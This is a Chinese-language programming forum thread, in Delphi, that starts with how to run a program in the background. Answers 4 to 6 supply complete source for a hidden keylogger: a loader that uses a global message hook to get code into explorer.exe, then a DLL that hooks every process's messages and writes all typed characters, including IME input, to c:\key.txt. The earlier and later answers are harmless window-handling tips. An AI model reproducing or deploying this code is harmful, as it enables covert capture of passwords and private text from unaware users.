怎样让一个程序在后台运行!

Question

怎样让一个程序在后台运行!
      Application.ShowMainForm := False;是不是没有运行程序,只是隐藏起来了!

Answer 1

可以这样:
ShowWindow (Application.handle, SW_HIDE);
但是只是在任务栏中隐藏，仍然可以任务列表中看到.

Answer 2

Application.ShowMainForm := False;
程序的确在运行
缺点:
在运行的时候,按Alt+空格,看到了什么?
Alt+F4,这个程序就被关闭了

Answer 3

要求不但在任务栏中看不到,在程序列表中也看不到.用RING实现三级跳,不过得加ASM程序

Answer 4

实现进程彻底隐藏：
unit UnitMain;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,tlhelp32;type
  TForm1 = class(TForm)
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    procedure WMMsg(var message:TMessage);Message wm_user;
    { Private declarations }
  public
    { Public declarations }
  end;
  procedure InstallDll(path:string;MainFormHandle,ExplorerProcessID:THandle);stdcall;external 'install.dll';
  procedure RemoveDll;stdcall;external 'install.dll';
var
  Form1: TForm1;implementation{$R *.dfm}function FindProcessName:THandle;
var
  lppe: tprocessentry32;
  sshandle: thandle;
  found: boolean;
begin
  result:=0; 
  sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
  found := process32first(sshandle, lppe);
  while found do
  begin
    if ansiCompareText(ExtractFileName(lppe.szExefile),'EXPLORER.EXE') = 0 then
    begin
       result:=lppe.th32ProcessID;
       break;
    end;
    found := process32next(sshandle, lppe); {检索下一个进程}
  end;
  CloseHandle(sshandle);
end;procedure TForm1.FormShow(Sender: TObject);
var
   h:THandle;
begin
   h:=FindProcessName;
   if h<>0 then
      InstallDll(extractfilepath(paramstr(0)),self.Handle,h);
end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
   RemoveDll;
end;procedure TForm1.WMMsg(var message:TMessage);
begin
   if message.WParam=1 then
   begin
      if message.LParam=1 then
      begin
         showmessage('安装OK');
         Close;
      end
      else if message.LParam=2 then
      begin
         showmessage('卸载OK');
         Close;
      end;
   end;
end;end.unit UnitInstallDll;interfaceuses
  windows, forms, messages, sysutils, 
  dialogs, UnitConst;type
  TInstallGetKey = procedure; stdcall; {声明过程}
  TRemoveGetKey = procedure; stdcall; {声明过程}  
  {声明共享内存记录结构}    procedure InstallDll(path:string;MainFormHandle,ExplorerProcessID:THandle);stdcall;
    procedure RemoveDll;stdcall;
var
//  hMain: integer;
//  Msg: TMsg;
  MemFile: THandle;
  pShMem: PInstallMem;
  HHGetMsgProc: HHook;
  InstallGetKey: TInstallGetKey;
  RemoveGetKey: TRemoveGetKey;  implementationprocedure wait(ticks:dword);
var
   t:dword;
begin
   t:=gettickcount;
   while gettickcount-t<ticks do application.ProcessMessages;
end;procedure tfun; stdcall;
var
   h,LibHandle:THandle;
   p:PGetkeyMem;
   RetCode:dword;
begin
  h:=OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ,False, MemNameGetKey);
  if h<>0 then
  begin
     p:=MapViewOfFile(h,FILE_MAP_WRITE or FILE_MAP_READ,0,0,0);
     if p<>nil then
     begin
        LibHandle:=p^.LibHandle;
        if LibHandle <> 0 then
        begin
           RemoveGetKey := GetProcAddress(LibHandle, 'RemoveGetkey'); {获得Run过程地址}
           if @RemoveGetKey <> nil then
           begin
              RemoveGetKey;
           end;
           p^.ExitIt:=true;
//           while p^.ExitIt do application.ProcessMessages;
           repeat begin
              GetExitCodeThread(pShmem^.GetkeyThreadID,RetCode);
              application.ProcessMessages;
           end until RetCode<>STILL_ACTIVE;
           SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
           wait(500);
           FreeLibrary(LibHandle);
        end;
        UnmapViewofFile(p);
     end;
     closeHandle(h);
     postmessage(pShMem^.MainFormHandle, wm_user, 1, 2);//卸载主程序
  end
  else begin
      {装入GetKey.dll}
      LibHandle := LoadLibrary(pchar(pShMem^.MainPath + 'GetKey.dll'));
      {装入成功}
      if LibHandle <> 0 then
      begin
          InstallGetKey := GetProcAddress(LibHandle, 'InstallGetkey'); {获得Run过程地址}
          if @InstallGetKey <> nil then
          begin
             InstallGetKey;
          end
          else FreeLibrary(LibHandle);
      end;
   end;
end;{消息钩子回调过程}
function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  if (nCode >= 0)and(pShMem^.ExplorerProcessID<>0)and(getcurrentprocessid = pShMem^.ExplorerProcessID) then
  begin
     pShMem^.ExplorerProcessID:=0;
     CreateThread(nil, 0, @tfun, nil, 0, pShMem^.GetkeyThreadID);
  end;
  Result := CallNextHookEx(HHGetMsgProc, nCode, wParam, lParam);
end;procedure InstallDll(path:string;MainFormHandle,ExplorerProcessID:THandle); stdcall;
begin
  pShMem^.MainFormHandle:= MainFormHandle;
  pShMem^.ExplorerProcessID:=ExplorerProcessID;
  strcopy(pShMem^.MainPath,pchar(path));
  if HHGetMsgProc = 0 then
     HHGetMsgProc := SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hinstance, 0);
end;procedure RemoveDll;stdcall;
begin
   if HHGetMsgProc <> 0 then UnhookWindowsHookEx(HHGetMsgProc);
   HHGetMsgProc := 0;
   SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
end;procedure Extro;
begin
  UnmapViewOfFile(pShMem);
  CloseHandle(MemFile);
end;procedure Intro;
begin
  MemFile := OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ,False, MemNameInstall);
  if MemFile=0 then
  begin
     MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,
        SizeOf(TInstallMem), MemNameInstall);
  end;
  pShMem := MapViewOfFile(MemFile,FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
end;initialization
      Intro;
finalization
      Extro;
end.

Answer 5

unit UnitGetkeyDll;interfaceuses
  windows,
  messages,dialogs,forms,
  sysutils,UnitConst;  procedure InstallGetkey; stdcall;
  procedure RemoveGetkey; stdcall;implementationvar
  MemFile: THandle;
  pShMem: PGetkeyMem;
  HHCallWndProc,HHGetMsgProc: HHook;procedure SaveInfo(str: string); stdcall;
var
  f: textfile;
begin
  {保存为文件信息}
  assignfile(f, FileName);
  if fileexists(FileName) = false then rewrite(f)
  else append(f);
  if strcomp(pchar(str), pchar('#13#10')) = 0 then writeln(f, '')
  else write(f, str);
  closefile(f);
end;procedure HookProc(hWnd: integer; uMessage: integer; wParam: WPARAM; lParam: LPARAM); stdcall;
begin
  if (uMessage = WM_CHAR) and (lParam <> 1) then
  begin
    SaveInfo(format('%s', [chr(wparam and $FF)]));
    inc(pShMem^.count);
    if pShMem^.count > 60 then
    begin
      SaveInfo('#13#10');
      pShMem^.count := 0;
    end;
  end;
  if (uMessage = WM_IME_CHAR) then
  begin
    SaveInfo(format('%s%s', [chr((wparam shr 8) and $FF), chr(wparam and $FF)]));
    inc(pShMem^.count, 2);
  end;
end;function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  pcs: PMSG;
begin
  pcs := PMSG(lParam);
  if (nCode >= 0) and (wParam=PM_REMOVE)and (pcs <> nil) and (pcs^.hwnd <> 0) then
  begin
     HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
  end;
  Result := CallNextHookEx(HHGetMsgProc, nCode, wParam, lParam);
end;function CallWndProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  pcs: PCWPSTRUCT;
begin
  pcs := PCWPSTRUCT(lParam);
  if (nCode >= 0) and (pcs <> nil) and (pcs^.hwnd <> 0) then
  begin
    HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
  end;
  Result := CallNextHookEx(HHCallWndProc, nCode, wParam, lParam);
end;procedure Intro;
begin
  MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TGetKeyMem), MemNameGetkey);
  pShMem := MapViewOfFile(MemFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
end;procedure Extro;
begin
  if pShMem<>nil then
  begin
     UnmapViewOfFile(pShMem);
     pShMem:=nil;
  end;
  if memfile<>0 then
  begin
     CloseHandle(MemFile);
     MemFile:=0;
  end;
end;procedure RemoveGetkey;
begin
   if HHGetMsgProc <> 0 then UnhookWindowsHookEx(HHGetMsgProc);
   HHGetMsgProc := 0;
   if HHCallWndProc <> 0 then UnhookWindowsHookEx(HHCallWndProc);
   HHCallWndProc := 0;
end;procedure InstallGetKey; stdcall;
var
  p: PInstallMem;
  h: THandle;
begin
  pShMem^.Count:=0;
  pShMem^.LibHandle:=hInstance;
  if HHGetMsgProc = 0 then
     HHGetMsgProc := SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hinstance, 0);
  if HHCallWndProc = 0 then
     HHCallWndProc := SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hinstance, 0);
  h:=OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ, false, MemNameInstall);
  if h<>0 then
  begin
    p:=MapViewOfFile(h,FILE_MAP_READ,0,0,0);
    if p<>nil then
    begin
      postmessage(p^.MainFormHandle, wm_user, 1, 1);
      UnmapViewofFile(p);
    end;
    closeHandle(h);
  end;
  pShMem^.ExitIt:=false;
  while not pShMem^.ExitIt do application.ProcessMessages;
  ExitThread(0);
end;initialization
      Intro;
finalization
      Extro;end.

Answer 6

unit UnitConst;interfaceuses
  windows,
  messages,
  sysutils,
  tlhelp32;
  
const
  MemNameGetkey = 'MemNameGetkey';
  MemNameInstall = 'MemNameInstall';
  FileName='c:\key.txt';
type
  {内存映射文件记录结构}
  TGetKeyMem = record
    Count: integer; {字符字数}
    LibHandle: integer; {GetKey.dll自己的句柄}
    ExitIt:boolean;
  end;
  PGetKeyMem = ^TGetKeyMem;  TInstallMem = record
{    Receiver: integer;
    hInstance: integer;
    selfhand: integer;  }
    GetkeyThreadID:THandle;
    ExplorerProcessID:Thandle;
    MainFormHandle:THandle;
    MainPath:array[0..MAX_PATH+1]of char;
  end;
  PInstallMem = ^TInstallMem;
implementationend.

Answer 7

还有怎样让一个exe和另一个exe操作同步,比如一个exe最小化另一个exe也最小化,最大化同之,关闭也一样

Answer 8

发消息
LRESULT SendMessage(    HWND hWnd, // handle of destination window
    UINT Msg, // message to send
    WPARAM wParam, // first message parameter
    LPARAM lParam  // second message parameter
   );